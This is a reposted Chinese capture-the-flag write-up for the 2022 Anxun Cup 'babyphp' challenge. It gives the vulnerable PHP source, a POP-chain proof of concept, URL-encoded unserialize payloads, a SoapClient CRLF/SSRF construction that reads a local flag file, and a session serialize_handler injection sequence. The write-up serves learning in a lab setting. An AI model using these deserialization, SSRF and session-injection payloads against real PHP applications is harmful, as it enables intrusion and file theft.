我的编程空间,编程开发者的网络收藏夹
学习永远不晚

2022安洵杯babyphp

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

2022安洵杯babyphp

这个题没打出来有点可惜,感觉做的都差不多了,不过有些地方确实没理解,还是理解不到位

先来看序列化,这个序列化是不难的,不过有一个小坑,我们先理一遍顺序

array(0) { } a = "babyhacker";    }    public function __invoke()    {        if (isset($this->a) && $this->a == md5($this->a)) {            $this->b->uwant();        }    }}class B{    public $a;    public $b;    public $k;    function __destruct()    {        $this->b = $this->k;        die($this->a);    }}class C{    public $a;    public $c;    public function __toString()    {        $cc = $this->c;        return $cc();    }    public function uwant()    {        if ($this->a == "phpinfo") {            phpinfo();        } else {            call_user_func(array(reset($_SESSION), $this->a));        }    }}if (isset($_GET['d0g3'])) {    ini_set($_GET['baby'], $_GET['d0g3']);    session_start();    $_SESSION['sess'] = $_POST['sess'];}else{    session_start();    if (isset($_POST["pop"])) {        unserialize($_POST["pop"]);    }}var_dump($_SESSION);highlight_file(__FILE__);

flag.php

这里最后肯定要调用C类的uwant函数,可以由A类的__invoke()方法触发,

A类的__invoke()方法由C类的__toString()方法触发,这里有一个小坑,我当时一直以为这个tostring是A类的 $this->a = "babyhacker";触发的,结果一直没跑通,后来看没用到B类,尝试用B的die($this->a);,没想到是可以的

那这样链子就出来了

Poc

a=$a;        $this->b=$b;    }    public function __wakeup()    {        $this->a = "babyhacker";        echo '触发了A类的 __wakeup';    }    public function __invoke()    {echo '触发了A类的 __invoke';        if (isset($this->a) && $this->a == md5($this->a)) {            $this->b->uwant();        }    }}class B{    public $a;    public $b;    public $k;    public function __construct($a,$b,$k)    {        $this->a=$a;        $this->b=$b;        $this->k=$k;    }    function __destruct()    {        $this->b = $this->k;        die($this->a);    }}class C{    public $a;    public $c;    public function __construct($a,$c)    {        $this->a=$a;        $this->c=$c;    }    public function __toString()    {        echo '触发了C类的 __toString';        $cc = $this->c;        return $cc();            }    public function uwant()    {        if ($this->a == "phpinfo") {            phpinfo();        } else {            call_user_func(array(reset($_SESSION), $this->a));        }    }}$a=new B(new C('',new A('0e215962017',new C('phpinfo',''))),'','');echo (serialize($a));

Payload

这里记得绕过wakup

pop=O%3A1%3A%22B%22%3A3%3A%7Bs%3A1%3A%22a%22%3BO%3A1%3A%22C%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A0%3A%22%22%3Bs%3A1%3A%22c%22%3BO%3A1%3A%22A%22%3A3%3A%7Bs%3A1%3A%22a%22%3Bs%3A11%3A%220e215962017%22%3Bs%3A1%3A%22b%22%3BO%3A1%3A%22C%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A7%3A%22phpinfo%22%3Bs%3A1%3A%22c%22%3Bs%3A0%3A%22%22%3B%7D%7D%7Ds%3A1%3A%22b%22%3Bs%3A0%3A%22%22%3Bs%3A1%3A%22k%22%3Bs%3A0%3A%22%22%3B%7D

 

接下来就是想 call_user_func(array(reset($_SESSION), $this->a));的利用了

call_user_func函数中的参数可以是一个数组,数组中第一个元素为类名,第二个元素为类方法

reset的话会把指针指向$_SESSION数组的第一个键值对

感觉这里是不是在考php原生类读文件呢?

PHP利用原生类进行SSRF攻击

https://blog.csdn.net/weixin_44033675/article/details/116903866

还是先叙述一下这个攻击手法:

SoapClient是php的一个内置类,它本身是存在CRLF和SSRF漏洞的,怎么说呢?这个类可以控制发送请求包,并且headers可控,不仅可控,还可以传入回车+换行(\r\n),那么被回车下去的请求头不就成了post数据。所以我们可以任意构造请求包,另外,当这个类被调用它没有的方法,会触发它的call,引发SSRF漏洞

 $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => "aaab"));$aaa = serialize($b);$aaa = str_replace('^^',"\r\n",$aaa);$aaa = str_replace('&','&',$aaa);echo $aaa;$c = unserialize($aaa);$c->not_exists_function();?>

session反序列化漏洞:

session是会被反序列化存储到本地的

session.serialize_handler这个参数控制session反序列化的处理器,不同的处理器序列化的结果不一样

session.serialize_handler=php 时,session文件内容为: name|s:7:"1234567";

session.serialize_handler=php_serialize 时,session文件为: a:1:{s:4:"name";s:7:"1234567";}

session.serialize_handler=php_binary 时,session文件内容为: 二进制字符names:7:"1234567";

而当session反序列化和序列化时候使用不同引擎的时候,即可触发漏洞

php引擎会以|作为作为key和value的分隔符,我们在传入内容的时候,比如传入

$_SESSION[‘name’] = ‘|username‘

那么使用php_serialize引擎时可以得到序列化内容

a:1:{s:4:”name”;s:4:”|username”;} 

然后用php引擎反序列化时,|被当做分隔符,于是

a:1:{s:4:”name”;s:4:”

被当作key

username被当做vaule进行反序列化

于是,我们只要传入$_SESSION[‘name’] = |序列化内容

即可触发漏洞

SoapClient序列化构造:

 "aaa\r\nCookie:PHPSESSID=u6ljl69tjrbutbq4i0oeb0m332",          'uri' => 'bbb',        // 'location' => 'http://127.0.0.1/flag.php?a=GlobIterator&b=/*f*' //首先用GlobIterator找flag的名字        'location' => 'http://127.0.0.1/flag.php?a=SplFileObject&b=file:///f1111llllllaagg'             ));$b = serialize($a);echo urlencode($b);?>

首先通过ini_set更改session的处理器,传入构造的session序列化字符串

if (isset($_GET['d0g3'])) {    ini_set($_GET['baby'], $_GET['d0g3']);    session_start();    $_SESSION['sess'] = $_POST['sess'];}else{    session_start();    if (isset($_POST["pop"])) {        unserialize($_POST["pop"]);    }}

Payload

GET: ?baby=session.serialize_handler&d0g3=php_serialize POST: sess=|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22bbb%22%3Bs%3A8%3A%22location%22%3Bs%3A47%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%3Fa%3DGlobIterator%26b%3D%2F%2Af%2A%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A48%3A%22aaa%0D%0ACookie%3APHPSESSID%3Disub76msd2qttd2jh39vhvepak%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D sess=|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22bbb%22%3Bs%3A8%3A%22location%22%3Bs%3A67%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%3Fa%3DSplFileObject%26b%3Dfile%3A%2F%2F%2Ff1111llllllaagg%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A48%3A%22aaa%0D%0ACookie%3APHPSESSID%3Disub76msd2qttd2jh39vhvepak%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

第二次,需要将sess设置为SoapClient这个类,方便第三次利用反序列化pop链中call_user_func激活soap类

Payload

GET ?D0G3 POST sess=SoapClient

第三次,直接用call_user_func激活soap类,通过flag.php将flag写入session

Payload

pop=O%3A1%3A%22B%22%3A3%3A%7Bs%3A1%3A%22a%22%3BO%3A1%3A%22C%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A0%3A%22%22%3Bs%3A1%3A%22c%22%3BO%3A1%3A%22A%22%3A3%3A%7Bs%3A1%3A%22a%22%3Bs%3A11%3A%220e215962017%22%3Bs%3A1%3A%22b%22%3BO%3A1%3A%22C%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A7%3A%22aaa%22%3Bs%3A1%3A%22c%22%3Bs%3A0%3A%22%22%3B%7D%7D%7Ds%3A1%3A%22b%22%3Bs%3A0%3A%22%22%3Bs%3A1%3A%22k%22%3Bs%3A0%3A%22%22%3B%7D

实际上那个第二步可能是不需要的,soap类的序列化字符串已经存入session了,直接传入pop激活soap也是可以的

 

来源地址:https://blog.csdn.net/qq_61778128/article/details/128088773

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

2022安洵杯babyphp

下载Word文档到电脑,方便收藏和打印~

下载Word文档

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录